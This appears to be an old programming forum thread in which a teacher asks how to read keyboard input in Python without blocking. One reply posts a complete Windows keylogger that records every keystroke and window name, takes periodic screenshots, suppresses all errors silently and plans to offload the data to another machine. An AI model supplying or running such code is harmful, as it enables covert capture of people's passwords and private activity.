By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
457,949 Members | 1,554 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 457,949 IT Pros & Developers. It's quick & easy.

Capturing keystrokes during program execution

P: 3
Is this hard?

I am introducing Python to my students and want to make a simple, interactive program that will, while it's running, 'listen' for any keyboard events. That is, I don't want to include an 'input' statement - that would pause execution till someone answered. I just want it to keep running, say, printing an 'a' on the screen every 10 seconds, until the user types a 'b'. Then printing a 'b' every 10 seconds till the user types in some other character...

It seems that this should not be hard; something with sys.stdin, perhaps. The hours I've spent on it are getting embarrassing.

I've fooled around with it and looked though books and the only solution I've come up with was to import pygame.py and use its event handling. This seems like massive overkill for what should be an easy matter.

I'm using IDLE with MacPython 2.5.1 on Mac OS 10.4.11

Thanks for any help on this problem.

Neal C.
Aug 18 '08 #1
Share this Question
Share on Google+
2 Replies


Elias Alhanatis
P: 56
Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....


Expand|Select|Wrap|Line Numbers
  1. import pyHook
  2. import pygame
  3.  
  4. # create a keyboard hook
  5. def OnKeyboardEvent(event):
  6.     print 'MessageName:',event.MessageName
  7.     print 'Message:',event.Message
  8.     print 'Time:',event.Time
  9.     print 'Window:',event.Window
  10.     print 'WindowName:',event.WindowName
  11.     print 'Ascii:', event.Ascii, chr(event.Ascii)
  12.     print 'Key:', event.Key
  13.     print 'KeyID:', event.KeyID
  14.     print 'ScanCode:', event.ScanCode
  15.     print 'Extended:', event.Extended
  16.     print 'Injected:', event.Injected
  17.     print 'Alt', event.Alt
  18.     print 'Transition', event.Transition
  19.     print '---'
  20.     if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
  21.         return False    # block these keys
  22.     else:
  23.         # return True to pass the event to other handlers
  24.         return True
  25.  
  26. # create a hook manager
  27. hm = pyHook.HookManager()
  28. # watch for all keyboard events
  29. hm.KeyDown = OnKeyboardEvent
  30. # set the hook
  31. hm.HookKeyboard()
  32.  
  33. # initialize pygame and start the game loop
  34. pygame.init()
  35.  
  36. while(1):
  37.     pygame.event.pump()

Second script:

Expand|Select|Wrap|Line Numbers
  1. import pyHook
  2. import time
  3. import pythoncom
  4. def OnKeyboardEvent(event):
  5.    print event.Ascii
  6. def main():
  7.    hm = pyHook.HookManager()
  8.    hm.KeyDown = OnKeyboardEvent
  9.    hm.HookKeyboard()
  10.    while True:
  11.      pythoncom.PumpMessages()
  12. if __name__ == '__main__':
  13.     main()
  14.  
script 3
Expand|Select|Wrap|Line Numbers
  1. ## Windows Only Script!!!
  2. ################################################## ##########################
  3. #
  4. ## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
  5. ##
  6. ## Copyright (C) 2008, Jack Trades
  7. ##
  8. ## This program is free software: you can redistribute it and/or modify
  9. ## it under the terms of the GNU General Public License as published by
  10. ## the Free Software Foundation, either version 3 of the License, or
  11. ## (at your option) any later version.
  12. ##
  13. ## This program is distributed in the hope that it will be useful,
  14. ## but WITHOUT ANY WARRANTY; without even the implied warranty of
  15. ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  16. ## GNU General Public License for more details.
  17. ##
  18. ## You should have received a copy of the GNU General Public License
  19. ## along with this program. If not, see <http://www.gnu.org/licenses/>
  20. ##
  21. ## Recent Changes:
  22. ## Added quality setting to grabScreen
  23. ## Wrapped all functions in try/except blocks to silently pass over errors
  24. ##
  25. ## TODO:
  26. ## Write function to send data to secure ftp server in local network
  27. ## Write any errors to a text file
  28. ################################################## ##########################
  29. #
  30. ## Requires: pyHook, win32all, PIL
  31.  
  32. import pyHook
  33. import pythoncom
  34. import ImageGrab
  35. from time import time
  36. from threading import Timer
  37.  
  38.  
  39. ################################################## ##########################
  40. #
  41. ## Start-Up
  42. ################################################## ##########################
  43. #
  44.  
  45. ## The full path is required when started automatically through windows registry
  46. ## Need to find a fix to allow relative paths (this way is UGLY!)
  47. folder = 'C:\\Python25\\'
  48.  
  49. filename = folder+'daata\\'+str(time()) ## Each program start creates a new file
  50. skippedKeys = set( (0,) )
  51.  
  52. def offloadData():
  53.     """Every time the program starts it should offload its log file and
  54.     screenshots to another computer. """
  55.     pass
  56.  
  57.  
  58. ############################################################################
  59. #
  60. ## Keylogger
  61. ############################################################################
  62. #
  63. ## The logger skips over keys defined in the global variable *skippedKeys*
  64.  
  65. def writeData(eventWindow, ascii):
  66.     """Appends each keystroke to file *filename* as defined at the top"""
  67.     try:
  68.         eventTime = time()
  69.         f = open(filename, 'a')
  70.         f.write(str( (ascii, eventTime, eventWindow) )+',')
  71.         f.close()
  72.     except:
  73.         pass
  74.  
  75. def onKeyboardEvent(event):
  76.     """This function is called by pyHook each time a key is pressed.
  77.     It writes the (key,time,window) to the logfile as defined in writeData()
  78.     It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
  79.     try:
  80.         eventWindow, ascii = event.WindowName, event.Ascii
  81.         if ascii not in skippedKeys: ## skippedKeys is a global variable
  82.             ascii = chr(ascii) ## uncomment to store chr(ascii) values
  83.             print ascii ## uncomment to print keys toscreen
  84.             writeData(eventWindow, ascii)
  85.             return True ## passes the event to otherhandlers
  86.     except:
  87.         return True ## ensures that we pass the key along
  88.                     ## even if an error occurs
  89.  
  90.  
  91. ################################################## ##########################
  92. #
  93. ## Screenshots
  94. ################################################## ##########################
  95. #
  96.  
  97. def grabScreen(imageQuality=20):
  98.     """Take a screenshot and save it to the folder screens// with filename
  99.     time()"""
  100.     try:
  101.         img = ImageGrab.grab()
  102.         img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
  103.     except:
  104.         pass
  105.  
  106. def startScreenshots(delay=3):
  107.     """Takes a screenshot every X seconds using grabScreen()"""
  108.     try:
  109.         grabScreen()
  110.         t = Timer(delay, startScreenshots, [delay])
  111.         t.start()
  112.     except:
  113.         pass
  114.  
  115. ################################################## ##########################
  116. #
  117. ## Main
  118. ################################################## ##########################
  119. #
  120.  
  121. def run(delay=3):
  122.     try:
  123. ## Start saving screenshots every X seconds
  124.         startScreenshots(delay)
  125. ## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
  126.         hm = pyHook.HookManager()
  127.         hm.KeyDown = onKeyboardEvent
  128.         hm.HookKeyboard()
  129. ## Pump keys into HookManager | Does this need a try/except ?
  130.         try:
  131.             pythoncom.PumpMessages()
  132.         except:
  133.             pass
  134.     except:
  135.         pass
  136.  
  137. if __name__ == '__main__':
  138.     try:
  139.         run(3) ## Run keylogger with 3 second delay between screenshots
  140.     except:
  141.         pass
Hope those help!!

Elias
Aug 21 '08 #2

P: 3
Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....

. . .

Hope those help!!

Elias
Thanks, anyway, but these all require Windows (pyHook is Windows-only) and I'm on Mac OS X (10.4.11)

Apparently this is harder in Python than I anticipated. That is, there's no built-in Python word that, unlike «input()» or «raw_input()», will look at the input stream from the keyboard to see if there is anything there without interrupting the program execution and 'waiting' till the user hits a Return or Enter key.

Bummer.
Aug 23 '08 #3

Post your reply

Sign in to post your reply or Sign up for a free account.